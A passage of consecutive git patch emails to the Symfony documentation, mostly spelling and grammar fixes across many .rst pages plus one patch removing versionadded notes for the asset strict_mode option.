 
-When enabled, the strict mode assert that all requested assets are in the manifest file.
-This option is useful to detect typo or missing assets, the recommended value is ``%kernel.debug%``.
-
 .. versionadded:: 5.4
 
-    This option was introduced in Symfony 5.4.
+    The ``strict_mode`` option was introduced in Symfony 5.4.
+
+When enabled, the strict mode asserts that all requested assets are in the
+manifest file. This option is useful to detect typos or missing assets, the
+recommended value is ``%kernel.debug%``.
 
 translator
 ~~~~~~~~~~

From f2e2bca4e421fc9fd192cc80fcc39fdd897f6308 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 13 Dec 2021 17:25:14 +0100
Subject: [PATCH 2812/7107] Remove the versionadded directive

---
 components/asset.rst                  | 4 ----
 reference/configuration/framework.rst | 4 ----
 2 files changed, 8 deletions(-)

diff --git a/components/asset.rst b/components/asset.rst
index a629392c27b..9301c091164 100644
--- a/components/asset.rst
+++ b/components/asset.rst
@@ -183,10 +183,6 @@ listed in the manifest::
     echo $package->getUrl('not-found.css');
     // error:
 
-.. versionadded:: 5.4
-
-    The ``$strictMode`` option was introduced in Symfony 5.4.
-
 If your JSON file is not on your local filesystem but is accessible over HTTP,
 use the :class:`Symfony\\Component\\Asset\\VersionStrategy\\RemoteJsonManifestVersionStrategy`
 with the :doc:`HttpClient component </http_client>`::
diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index bd17a7c4344..9e3fc066d5d 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -2123,10 +2123,6 @@ strict_mode
 
 **type**: ``boolean`` **default**: ``false``
 
-.. versionadded:: 5.4
-
-    The ``strict_mode`` option was introduced in Symfony 5.4.
-
 When enabled, the strict mode asserts that all requested assets are in the
 manifest file. This option is useful to detect typos or missing assets, the
 recommended value is ``%kernel.debug%``.

From aeda1b402adee4e3b038136424e9741da53233fd Mon Sep 17 00:00:00 2001
From: gnito-org <70450336+gnito-org@users.noreply.github.com>
Date: Mon, 13 Dec 2021 17:16:28 -0400
Subject: [PATCH 2813/7107] Correct spelling mistakes

---
 setup.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/setup.rst b/setup.rst
index 7c2e7536d98..795c9349437 100644
--- a/setup.rst
+++ b/setup.rst
@@ -117,7 +117,7 @@ to run this command which displays information about the project:
 Running Symfony Applications
 ----------------------------
 
-In production, you should install a webserver like Nginx or Apache and
+In production, you should install a web server like Nginx or Apache and
 :doc:`configure it to run Symfony </setup/web_server_configuration>`. This
 method can also be used if you're not using the Symfony local web server for
 development.
@@ -183,7 +183,7 @@ and enables all the packages needed to use the official Symfony logger.
 
 This is possible because lots of Symfony packages/bundles define **"recipes"**,
 which are a set of automated instructions to install and enable packages into
-Symfony applications. Flex keeps tracks of the recipes it installed in a
+Symfony applications. Flex keeps track of the recipes it installed in a
 ``symfony.lock`` file, which must be committed to your code repository.
 
 Symfony Flex recipes are contributed by the community and they are stored in

From 4cae90a0b27b428dff44621ac49573e02f9a95d2 Mon Sep 17 00:00:00 2001
From: gnito-org <70450336+gnito-org@users.noreply.github.com>
Date: Mon, 13 Dec 2021 17:21:05 -0400
Subject: [PATCH 2814/7107] Correct spelling & grammar in page-creation.rst

---
 page_creation.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/page_creation.rst b/page_creation.rst
index 7a55a8ce5bf..5d82850d410 100644
--- a/page_creation.rst
+++ b/page_creation.rst
@@ -79,12 +79,12 @@ That's it! If you are using Symfony web server, try it out by going to: http://l
 
 If you see a lucky number being printed back to you, congratulations! But before
 you run off to play the lottery, check out how this works. Remember the two steps
-to creating a page?
+to create a page?
 
 #. *Create a controller and a method*: This is a function where *you* build the page and ultimately
    return a ``Response`` object. You'll learn more about :doc:`controllers </controller>`
    in their own section, including how to return JSON responses;
-   
+
 #. *Create a route*: In ``config/routes.yaml``, the route defines the URL to your
    page (``path``) and what ``controller`` to call. You'll learn more about :doc:`routing </routing>`
    in its own section, including how to make *variable* URLs.
@@ -140,7 +140,7 @@ Second, after this package was downloaded, Flex runs a *recipe*, which is a
 set of automated instructions that tell Symfony how to integrate an external
 package. `Flex recipes`_ exist for many packages and have the ability
 to do a lot, like adding configuration files, creating directories, updating ``.gitignore``
-and adding new config to your ``.env`` file. Flex *automates* the installation of
+and adding a new config to your ``.env`` file. Flex *automates* the installation of
 packages so you can get back to coding.
 
 The bin/console Command

From 1ab923e9bdca842171662e0116bb70d696a5f0e8 Mon Sep 17 00:00:00 2001
From: gnito-org <70450336+gnito-org@users.noreply.github.com>
Date: Mon, 13 Dec 2021 17:25:30 -0400
Subject: [PATCH 2815/7107] Correct spelling & grammar in routing.rst

---
 routing.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/routing.rst b/routing.rst
index bd014cfcfb6..56eeefcd7fd 100644
--- a/routing.rst
+++ b/routing.rst
@@ -583,7 +583,7 @@ URL                       Route          Parameters
     Parameters also support `PCRE Unicode properties`_, which are escape
     sequences that match generic character types. For example, ``\p{Lu}``
     matches any uppercase character in any language, ``\p{Greek}`` matches any
-    Greek character, etc.
+    Greek characters, etc.
 
 .. note::
 
@@ -824,7 +824,7 @@ Parameter Conversion
 
 A common routing need is to convert the value stored in some parameter (e.g. an
 integer acting as the user ID) into another value (e.g. the object that
-represents the user). This feature is called "param converter".
+represents the user). This feature is called a "param converter".
 
 In case you didn't run this command before, run it now to add support for
 annotations and "param converters":

From 1376058b0649dc8cb576a8ff3b25f0281400f289 Mon Sep 17 00:00:00 2001
From: gnito-org <70450336+gnito-org@users.noreply.github.com>
Date: Tue, 14 Dec 2021 06:51:40 -0400
Subject: [PATCH 2816/7107] Correct spelling & grammar in 4.4 security.rst

---
 security.rst | 16 +++++++++-------
 1 file changed, 9 insertions(+), 7 deletions(-)

diff --git a/security.rst b/security.rst
index 4ec0df76f69..9b92cb1cda0 100644
--- a/security.rst
+++ b/security.rst
@@ -346,7 +346,7 @@ and ``/_wdt``.
 
 All *real* URLs are handled by the ``main`` firewall (no ``pattern`` key means
 it matches *all* URLs). A firewall can have many modes of authentication,
-in other words many ways to ask the question "Who are you?". Often, the
+in other words, it enables many ways to ask the question "Who are you?". Often, the
 user is unknown (i.e. not logged in) when they first visit your website. The
 ``anonymous`` mode, if enabled, is used for these requests.
 
@@ -361,7 +361,7 @@ It means any request can have an anonymous token to access some resource,
 while some actions (i.e. some pages or buttons) can still require specific
 privileges. A user can then access a form login without being authenticated
 as a unique user (otherwise an infinite redirection loop would happen
-asking the user to authenticate while trying to doing so).
+asking the user to authenticate while trying to do so).
 
 You'll learn later how to deny access to certain URLs, controllers, or part of
 templates.
@@ -729,9 +729,11 @@ Checking to see if a User is Logged In (IS_AUTHENTICATED_FULLY)
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 If you *only* want to check if a user is logged in (you don't care about roles),
-you have two options. First, if you've given *every* user ``ROLE_USER``, you can
-check for that role. Otherwise, you can use a special "attribute" in place of a
-role::
+you have the following two options.
+
+Firstly, if you've given *every* user ``ROLE_USER``, you can check for that role.
+
+Secondly, you can use a special "attribute" in place of a role::
 
     // ...
 
@@ -1038,8 +1040,8 @@ Frequently Asked Questions
     you authenticate against one firewall, you will *not* be authenticated against
     any other firewalls automatically. Different firewalls are like different security
     systems. To do this you have to explicitly specify the same
-    :ref:`reference-security-firewall-context` for different firewalls. But usually
-    for most applications, having one main firewall is enough.
+    :ref:`reference-security-firewall-context` for different firewalls. However,
+    one main firewall is usually sufficient for the needs of most applications.
 
 **Security doesn't seem to work on my Error Pages**
     As routing is done *before* security, 404 error pages are not covered by

From e784be8c82e184f0976c9971711916591128ea95 Mon Sep 17 00:00:00 2001
From: gnito-org <70450336+gnito-org@users.noreply.github.com>
Date: Tue, 14 Dec 2021 06:56:48 -0400
Subject: [PATCH 2817/7107] Correct spelling & grammar in 4.4
 best-practices.rst

---
 best_practices.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/best_practices.rst b/best_practices.rst
index 284bdb7cfa2..a2af083b73d 100644
--- a/best_practices.rst
+++ b/best_practices.rst
@@ -265,7 +265,7 @@ Templates
 Use Snake Case for Template Names and Variables
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-Use lowercased snake_case for template names, directories and variables (e.g.
+Use lowercase snake_case for template names, directories and variables (e.g.
 ``user_profile`` instead of ``userProfile`` and ``product/edit_form.html.twig``
 instead of ``Product/EditForm.html.twig``).
 
@@ -383,7 +383,7 @@ Use Webpack Encore to Process Web Assets
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 Web assets are things like CSS, JavaScript and image files that make the
-frontend of your site look and work great. `Webpack`_ is the leading JavaScript
+frontend of your site looks and works great. `Webpack`_ is the leading JavaScript
 module bundler that compiles, transforms and packages assets for usage in a browser.
 
 :doc:`Webpack Encore </frontend>` is a JavaScript library that gets rid of most
@@ -435,7 +435,7 @@ Add this test while creating your application because it requires little effort
 and checks that none of your pages returns an error. Later, you'll add more
 specific tests for each page.
 
-Hardcode URLs in a Functional Test
+Hard-code URLs in a Functional Test
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 In Symfony applications, it's recommended to :ref:`generate URLs <routing-generating-urls>`

From faf0e5ea37b67a7454ea4e95fade2490324e0026 Mon Sep 17 00:00:00 2001
From: gnito-org <70450336+gnito-org@users.noreply.github.com>
Date: Tue, 14 Dec 2021 07:04:50 -0400
Subject: [PATCH 2818/7107] Correct spelling & grammar in 4.4 cache.rst

---
 cache.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/cache.rst b/cache.rst
index 6a096b714c5..9982c33a7cf 100644
--- a/cache.rst
+++ b/cache.rst
@@ -49,7 +49,7 @@ of:
     An adapter is a *template* that you use to create pools.
 **Provider**
     A provider is a service that some adapters use to connect to the storage.
-    Redis and Memcached are example of such adapters. If a DSN is used as the
+    Redis and Memcached are examples of such adapters. If a DSN is used as the
     provider then a service is automatically created.
 
 There are two pools that are always enabled by default. They are ``cache.app`` and

From 0ee7f73cf42802c67035a9b4f0b2390c3f5e77eb Mon Sep 17 00:00:00 2001
From: gnito-org <70450336+gnito-org@users.noreply.github.com>
Date: Tue, 14 Dec 2021 07:07:46 -0400
Subject: [PATCH 2819/7107] Correct spelling & grammar in 4.4
 CODE_OF_CONDUCT.md

---
 CODE_OF_CONDUCT.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/CODE_OF_CONDUCT.md b/CODE_OF_CONDUCT.md
index d211dd419d0..03828e75d73 100644
--- a/CODE_OF_CONDUCT.md
+++ b/CODE_OF_CONDUCT.md
@@ -52,7 +52,7 @@ Scope
 
 This Code of Conduct applies both within project spaces and in public spaces
 when an individual is representing the project or its community. Examples of
-representing a project or community include using an official project e-mail
+representing a project or community include using an official project email
 address, posting via an official social media account, or acting as an appointed
 representative at an online or offline event. Representation of a project may be
 further defined and clarified by CARE team members.

From 71e0eb0fe7e23154588879405a620cfb19ddae72 Mon Sep 17 00:00:00 2001
From: gnito-org <70450336+gnito-org@users.noreply.github.com>
Date: Tue, 14 Dec 2021 07:16:17 -0400
Subject: [PATCH 2820/7107] Correct spelling & grammar in 4.4 email.rst

---
 email.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/email.rst b/email.rst
index c5517bef991..6f54812729a 100644
--- a/email.rst
+++ b/email.rst
@@ -418,7 +418,7 @@ How to Spool Emails
 The default behavior of the Symfony mailer is to send the email messages
 immediately. You may, however, want to avoid the performance hit of the
 communication to the email server, which could cause the user to wait for the
-next page to load while the email is sending. This can be avoided by choosing to
+next page to load while the email is being sent. This can be avoided by choosing to
 "spool" the emails instead of sending them directly.
 
 This makes the mailer to not attempt to send the email message but instead save

From b452b8bb054055712837f7aecf3b0ea0a5fe8941 Mon Sep 17 00:00:00 2001
From: gnito-org <70450336+gnito-org@users.noreply.github.com>
Date: Tue, 14 Dec 2021 07:20:17 -0400
Subject: [PATCH 2821/7107] Correct spelling & grammar in 4.4
 event_dispatcher.rst

---
 event_dispatcher.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/event_dispatcher.rst b/event_dispatcher.rst
index 2b95a637e28..5ac86e55cd5 100644
--- a/event_dispatcher.rst
+++ b/event_dispatcher.rst
@@ -141,8 +141,8 @@ Creating an Event Subscriber
 
 Another way to listen to events is via an **event subscriber**, which is a class
 that defines one or more methods that listen to one or various events. The main
-difference with the event listeners is that subscribers always know which events
-they are listening to.
+difference with the event listeners is that subscribers always know the events
+to which they are listening.
 
 If different event subscriber methods listen to the same event, their order is
 defined by the ``priority`` parameter. This value is a positive or negative

From f2c0186f710feb733123477706687e462dde149f Mon Sep 17 00:00:00 2001
From: gnito-org <70450336+gnito-org@users.noreply.github.com>
Date: Tue, 14 Dec 2021 07:23:11 -0400
Subject: [PATCH 2822/7107] Correct spelling & grammar in 4.4 forms.rst

---
 forms.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/forms.rst b/forms.rst
index 9b88f598fa1..8bf2b64ad2a 100644
--- a/forms.rst
+++ b/forms.rst
@@ -158,7 +158,7 @@ added a submit button with a custom label for submitting the form to the server.
 Creating Form Classes
 ~~~~~~~~~~~~~~~~~~~~~
 
-Symfony recommends to put as little logic as possible in controllers. That's why
+Symfony recommends putting as little logic as possible in controllers. That's why
 it's better to move complex forms to dedicated classes instead of defining them
 in controller actions. Besides, forms defined in classes can be reused in
 multiple actions and services.
@@ -385,7 +385,7 @@ written into the form object::
     {
         public function new(Request $request): Response
         {
-            // just setup a fresh $task object (remove the example data)
+            // just set up a fresh $task object (remove the example data)
             $task = new Task();
 
             $form = $this->createForm(TaskType::class, $task);
@@ -665,7 +665,7 @@ The ``required`` Option
 
 The most common option is the ``required`` option, which can be applied to any
 field. By default, this option is set to ``true``, meaning that HTML5-ready
-browsers will require to fill in all fields before submitting the form.
+browsers will require you to fill in all fields before submitting the form.
 
 If you don't want this behavior, either
 :ref:`disable client-side validation <forms-html5-validation-disable>` for the

From a7d25eeab42653c8c6bf75edc8824cae1368938d Mon Sep 17 00:00:00 2001
From: gnito-org <70450336+gnito-org@users.noreply.github.com>
Date: Tue, 14 Dec 2021 07:29:54 -0400
Subject: [PATCH 2823/7107] Correct spelling & grammar in 4.4. frontend.rst

---
 frontend.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/frontend.rst b/frontend.rst
index 47d3111dd33..5ab7bf9baaa 100644
--- a/frontend.rst
+++ b/frontend.rst
@@ -7,7 +7,7 @@ Managing CSS and JavaScript
     Do you prefer video tutorials? Check out the `Webpack Encore screencast series`_.
 
 Symfony ships with a pure-JavaScript library - called Webpack Encore - that makes
-working with CSS and JavaScript a joy. You can use it, use something else, or
+it a joy to work with CSS and JavaScript. You can use it, use something else, or
 create static CSS and JS files in your ``public/`` directory directly and
 include them in your templates.
 

From 1f1285b1322f1aab74456c7fed79282a043b308b Mon Sep 17 00:00:00 2001
From: gnito-org <70450336+gnito-org@users.noreply.github.com>
Date: Tue, 14 Dec 2021 07:33:29 -0400
Subject: [PATCH 2824/7107] Correct spelling & grammar in 4.4 http_cache.rst

---
 http_cache.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/http_cache.rst b/http_cache.rst
index 6061ed128cc..0194089b2cc 100644
--- a/http_cache.rst
+++ b/http_cache.rst
@@ -71,7 +71,7 @@ Symfony Reverse Proxy
 
 Symfony comes with a reverse proxy (i.e. gateway cache) written in PHP.
 :ref:`It's not a fully-featured reverse proxy cache like Varnish <http-cache-symfony-versus-varnish>`,
-but is a great way to start.
+but it is a great way to start.
 
 .. tip::
 

From 2a68a27123935914bdf92ff4509781fd3c302757 Mon Sep 17 00:00:00 2001
From: gnito-org <70450336+gnito-org@users.noreply.github.com>
Date: Tue, 14 Dec 2021 07:38:43 -0400
Subject: [PATCH 2825/7107] Correct spelling & grammar in 4.4 http_client.rst

---
 http_client.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/http_client.rst b/http_client.rst
index 019cd64036e..fe0a6ddb2b1 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -890,7 +890,7 @@ response sequentially instead of waiting for the entire response::
     ``php://temp`` stream. You can control this behavior by using the ``buffer``
     option: set it to ``true``/``false`` to enable/disable buffering, or to a
     closure that should return the same based on the response headers it receives
-    as argument.
+    as an argument.
 
 Canceling Responses
 ~~~~~~~~~~~~~~~~~~~
@@ -1064,7 +1064,7 @@ method will yield a special chunk whose ``isTimeout()`` will return ``true``::
 
     foreach ($client->stream($responses, 1.5) as $response => $chunk) {
         if ($chunk->isTimeout()) {
-            // $response staled for more than 1.5 seconds
+            // $response stale for more than 1.5 seconds
         }
     }
 

From 5b66d46a425a16bb722009caf866e5725e4a1e59 Mon Sep 17 00:00:00 2001
From: gnito-org <70450336+gnito-org@users.noreply.github.com>
Date: Tue, 14 Dec 2021 07:42:41 -0400
Subject: [PATCH 2826/7107] Correct spelling & grammar in 4.4 lock.rst

---
 lock.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/lock.rst b/lock.rst
index 7b318b6c3a3..b298307ae2d 100644
--- a/lock.rst
+++ b/lock.rst
@@ -8,7 +8,7 @@ When a program runs concurrently, some part of code which modify shared
 resources should not be accessed by multiple processes at the same time.
 Symfony's :doc:`Lock component </components/lock>` provides a locking mechanism to ensure
 that only one process is running the critical section of code at any point of
-time to prevent race condition from happening.
+time to prevent race conditions from happening.
 
 The following example shows a typical usage of the lock::
 
@@ -189,7 +189,7 @@ Locking a Dynamic Resource
 --------------------------
 
 Sometimes the application is able to cut the resource into small pieces in order
-to lock a small subset of process and let other through. The previous example
+to lock a small subset of processes and let others through. The previous example
 showed how to lock the ``$pdf->getOrCreatePdf('terms-of-use')`` for everybody,
 now let's see how to lock ``$pdf->getOrCreatePdf($version)`` only for
 processes asking for the same ``$version``::

From 08ef3d8bc802ac232f1cd496fbc55245e70b4061 Mon Sep 17 00:00:00 2001
From: gnito-org <70450336+gnito-org@users.noreply.github.com>
Date: Tue, 14 Dec 2021 07:45:59 -0400
Subject: [PATCH 2827/7107] Correct spelling & grammar in 4.4 logging.rst

---
 logging.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/logging.rst b/logging.rst
index d99724988e6..b2b0b626369 100644
--- a/logging.rst
+++ b/logging.rst
@@ -164,7 +164,7 @@ defined.
     If you want to override the ``monolog`` configuration via another config
     file, you will need to redefine the entire ``handlers`` stack. The configuration
     from the two files cannot be merged because the order matters and a merge does
-    not allow to control the order.
+    not allow you to control the order.
 
 Handlers that Modify Log Entries
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

From fdc4677926ef88f6fd4334b349390f5f6dc64b88 Mon Sep 17 00:00:00 2001
From: gnito-org <70450336+gnito-org@users.noreply.github.com>
Date: Tue, 14 Dec 2021 09:43:16 -0400
Subject: [PATCH 2828/7107] Correct spelling & grammar in 4.4 mercure.rst

---
 mercure.rst | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/mercure.rst b/mercure.rst
index 8a70af165ce..5c4b570e4af 100644
--- a/mercure.rst
+++ b/mercure.rst
@@ -27,7 +27,7 @@ out of the box in most modern browsers (old versions of Edge and IE require
 languages.
 
 Mercure comes with an authorization mechanism,
-automatic re-connection in case of network issues
+automatic reconnection in case of network issues
 with retrieving of lost updates, a presence API,
 "connection-less" push for smartphones and auto-discoverability (a supported
 client can automatically discover and subscribe to updates of a given resource
@@ -84,7 +84,7 @@ and a managed, High Availability Hub are also provided.
 Configuration
 -------------
 
-The preferred way to configure the MercureBundle is using
+The preferred way to configure MercureBundle is using
 :doc:`environment variables </configuration>`.
 
 When MercureBundle has been installed, the ``.env`` file of your project
@@ -97,7 +97,7 @@ and you can skip straight to the next section.
 Otherwise, set the URL of your hub as the value of the ``MERCURE_URL``
 and ``MERCURE_PUBLIC_URL`` env vars.
 Sometimes a different URL must be called by the Symfony app (usually to publish),
-and the JavaScript client (usually to subscrribe). It's especially common when
+and the JavaScript client (usually to subscribe). It's especially common when
 the Symfony app must use a local URL and the client-side JavaScript code a public one.
 In this case, ``MERCURE_URL`` must contain the local URL that will be used by the
 Symfony app (e.g. ``https://mercure/.well-known/mercure``), and ``MERCURE_PUBLIC_URL``
@@ -297,7 +297,7 @@ and to subscribe to it:
 Authorization
 -------------
 
-Mercure also allows to dispatch updates only to authorized clients.
+Mercure also allows dispatching updates only to authorized clients.
 To do so, mark the update as **private** by setting the third parameter
 of the ``Update`` constructor to ``true``::
 
@@ -348,7 +348,7 @@ is the way to go.
 .. tip::
 
     The native implementation of EventSource doesn't allow specifying headers.
-    For example, authorization using Bearer token. In order to achieve that, use `a polyfill`_
+    For example, authorization using a Bearer token. In order to achieve that, use `a polyfill`_
 
     .. code-block:: javascript
 
@@ -559,7 +559,7 @@ its Mercure support.
 Testing
 --------
 
-During unit testing there is not need to send updates to Mercure.
+During unit testing there is no need to send updates to Mercure.
 
 You can instead make use of the `MockHub`::
 

From f0d6c65db12a102b8c0a34f735da918458818aa4 Mon Sep 17 00:00:00 2001
From: gnito-org <70450336+gnito-org@users.noreply.github.com>
Date: Tue, 14 Dec 2021 09:49:39 -0400
Subject: [PATCH 2829/7107] Correct spelling & grammar in 4.4 messenger.rst

---
 messenger.rst | 14 +++++++-------
 1 file changed, 7 insertions(+), 7 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index e54a1b56f10..73dab5e9ea5 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -25,7 +25,7 @@ Creating a Message & Handler
 Messenger centers around two different classes that you'll create: (1) a message
 class that holds data and (2) a handler(s) class that will be called when that
 message is dispatched. The handler class will read the message class and perform
-some task.
+one or more tasks.
 
 There are no specific requirements for a message class, except that it can be
 serialized::
@@ -488,8 +488,8 @@ On production, there are a few important things to think about:
 **Restart Workers on Deploy**
     Each time you deploy, you'll need to restart all your worker processes so
     that they see the newly deployed code. To do this, run ``messenger:stop-workers``
-    on deploy. This will signal to each worker that it should finish the message
-    it's currently handling and shut down gracefully. Then, Supervisor will create
+    on deployment. This will signal to each worker that it should finish the message
+    it's currently handling and should shut down gracefully. Then, Supervisor will create
     new worker processes. The command uses the :ref:`app <cache-configuration-with-frameworkbundle>`
     cache internally - so make sure this is configured to use an adapter you like.
 
@@ -658,7 +658,7 @@ Graceful Shutdown
 
 If you install the `PCNTL`_ PHP extension in your project, workers will handle
 the ``SIGTERM`` POSIX signal to finish processing their current message before
-exiting.
+terminating.
 
 In some cases the ``SIGTERM`` signal is sent by Supervisor itself (e.g. stopping
 a Docker container having Supervisor as its entrypoint). In these cases you
@@ -879,7 +879,7 @@ To use Symfony's built-in AMQP transport, you need the AMQP PHP extension.
     may not work correctly (like delayed queues).
 
 The transport has a number of other options, including ways to configure
-the exchange, queues binding keys and more. See the documentation on
+the exchange, queues, binding keys and more. See the documentation on
 :class:`Symfony\\Component\\Messenger\\Transport\\AmqpExt\\Connection`.
 
 You can also configure AMQP-specific settings on your message by adding
@@ -1037,7 +1037,7 @@ auto_setup          Whether the table should be created
 
     The datetime property of the messages stored in the database uses the
     timezone of the current system. This may cause issues if multiple machines
-    with different timezone configuration use the same storage.
+    with different timezone configurations use the same storage.
 
 Redis Transport
 ~~~~~~~~~~~~~~~
@@ -1647,7 +1647,7 @@ Middleware for Doctrine
 
 .. versionadded:: 1.11
 
-    The following Doctrine middleware were introduced in DoctrineBundle 1.11.
+    The following Doctrine middleware was introduced in DoctrineBundle 1.11.
 
 If you use Doctrine in your app, a number of optional middleware exist that you
 may want to use:

From 90b0776e938115f420c303c7b51d20e6231a7037 Mon Sep 17 00:00:00 2001
From: gnito-org <70450336+gnito-org@users.noreply.github.com>
Date: Tue, 14 Dec 2021 09:52:59 -0400
Subject: [PATCH 2830/7107] Correct spelling & grammar in 4.4 migration.rst

---
 migration.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/migration.rst b/migration.rst
index 6b0807588aa..6155f05275d 100644
--- a/migration.rst
+++ b/migration.rst
@@ -223,7 +223,7 @@ unique approach for migration. This guide shows two examples of commonly used
 approaches, which you can use as a base for your own approach:
 
 * `Front Controller with Legacy Bridge`_, which leaves the legacy application
-  untouched and allows to migrate it in phases to the Symfony application.
+  untouched and allows migrating it in phases to the Symfony application.
 * `Legacy Route Loader`_, where the legacy application is integrated in phases
   into Symfony, with a fully integrated final result.
 

From 8714423b78fe10c6669f52ad2f68e2828ebf74b0 Mon Sep 17 00:00:00 2001
From: gnito-org <70450336+gnito-org@users.noreply.github.com>
Date: Tue, 14 Dec 2021 09:59:50 -0400
Subject: [PATCH 2831/7107] Correct spelling & grammar in 4.4 performance.rst

---
 performance.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/performance.rst b/performance.rst
index 0e980a2550d..5c1992dc134 100644
--- a/performance.rst
+++ b/performance.rst
@@ -151,7 +151,7 @@ overhead that can be avoided as follows:
     ; php.ini
     opcache.validate_timestamps=0
 
-After each deploy, you must empty and regenerate the cache of OPcache. Otherwise
+After each deployment, you must empty and regenerate the cache of OPcache. Otherwise
 you won't see the updates made in the application. Given that in PHP, the CLI
 and the web processes don't share the same OPcache, you cannot clear the web
 server OPcache by executing some command in your terminal. These are some of the

From de0e72d8977a815e04509f7183613a7a0ab68238 Mon Sep 17 00:00:00 2001
From: gnito-org <70450336+gnito-org@users.noreply.github.com>
Date: Tue, 14 Dec 2021 10:17:29 -0400
Subject: [PATCH 2832/7107] Correct spelling & grammar in 4.4 workflow.rst

---
 workflow.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/workflow.rst b/workflow.rst
index dde07d94480..e858d045b0c 100644
--- a/workflow.rst
+++ b/workflow.rst
@@ -382,7 +382,7 @@ order:
 .. note::
 
     The leaving and entering events are triggered even for transitions that stay
-    in same place.
+    in the same place.
 
 .. versionadded:: 4.3
 
@@ -432,7 +432,7 @@ workflow leaves a place::
 Guard Events
 ~~~~~~~~~~~~
 
-There are a special kind of events called "Guard events". Their event listeners
+There are special types of events called "Guard events". Their event listeners
 are invoked every time a call to ``Workflow::can()``, ``Workflow::apply()`` or
 ``Workflow::getEnabledTransitions()`` is executed. With the guard events you may
 add custom logic to decide which transitions should be blocked or not. Here is a

From dad73c3308e5f4a4b79018de73b953b6d915af57 Mon Sep 17 00:00:00 2001
From: gnito-org <70450336+gnito-org@users.noreply.github.com>
Date: Tue, 14 Dec 2021 11:21:09 -0400
Subject: [PATCH 2833/7107] Correct spelling & grammar in 4.4 bundles/

---
 bundles/best_practices.rst    | 2 +-
 bundles/configuration.rst     | 2 +-
 bundles/prepend_extension.rst | 2 +-
 3 files changed, 3 insertions(+), 3 deletions(-)

diff --git a/bundles/best_practices.rst b/bundles/best_practices.rst
index 9c615c46db1..c6e0521db82 100644
--- a/bundles/best_practices.rst
+++ b/bundles/best_practices.rst
@@ -480,7 +480,7 @@ The ``composer.json`` file should include at least the following metadata:
     Consists of the vendor and the short bundle name. If you are releasing the
     bundle on your own instead of on behalf of a company, use your personal name
     (e.g. ``johnsmith/blog-bundle``). Exclude the vendor name from the bundle
-    short name and separate each word with an hyphen. For example: AcmeBlogBundle
+    short name and separate each word with a hyphen. For example: AcmeBlogBundle
     is transformed into ``blog-bundle`` and AcmeSocialConnectBundle is
     transformed into ``social-connect-bundle``.
 
diff --git a/bundles/configuration.rst b/bundles/configuration.rst
index dac9550a161..25254b7efcb 100644
--- a/bundles/configuration.rst
+++ b/bundles/configuration.rst
@@ -332,7 +332,7 @@ bundle in the console using the Yaml format.
 
 As long as your bundle's configuration is located in the standard location
 (``YourBundle\DependencyInjection\Configuration``) and does not have
-a constructor it will work automatically. If you
+a constructor, it will work automatically. If you
 have something different, your ``Extension`` class must override the
 :method:`Extension::getConfiguration() <Symfony\\Component\\DependencyInjection\\Extension\\Extension::getConfiguration>`
 method and return an instance of your ``Configuration``.
diff --git a/bundles/prepend_extension.rst b/bundles/prepend_extension.rst
index a332d45141f..4d174c8366d 100644
--- a/bundles/prepend_extension.rst
+++ b/bundles/prepend_extension.rst
@@ -8,7 +8,7 @@ How to Simplify Configuration of Multiple Bundles
 When building reusable and extensible applications, developers are often
 faced with a choice: either create a single large bundle or multiple smaller
 bundles. Creating a single bundle has the drawback that it's impossible for
-users to choose to remove functionality they are not using. Creating multiple
+users to remove unused functionality. Creating multiple
 bundles has the drawback that configuration becomes more tedious and settings
 often need to be repeated for various bundles.
 

From b636dc73d8edb3a09206d0ff4977485ea60654fa Mon Sep 17 00:00:00 2001
From: gnito-org <70450336+gnito-org@users.noreply.github.com>
Date: Tue, 14 Dec 2021 11:32:16 -0400
Subject: [PATCH 2834/7107] Correct spelling & grammar in 4.4 components/cache/

---
 components/cache/adapters/php_array_cache_adapter.rst | 4 ++--
 components/cache/adapters/redis_adapter.rst           | 2 +-
 components/cache/cache_invalidation.rst               | 4 ++--
 3 files changed, 5 insertions(+), 5 deletions(-)

diff --git a/components/cache/adapters/php_array_cache_adapter.rst b/components/cache/adapters/php_array_cache_adapter.rst
index 631c153f5cb..52259b87f86 100644
--- a/components/cache/adapters/php_array_cache_adapter.rst
+++ b/components/cache/adapters/php_array_cache_adapter.rst
@@ -7,7 +7,7 @@ PHP Array Cache Adapter
 
 This adapter is a high performance cache for static data (e.g. application configuration)
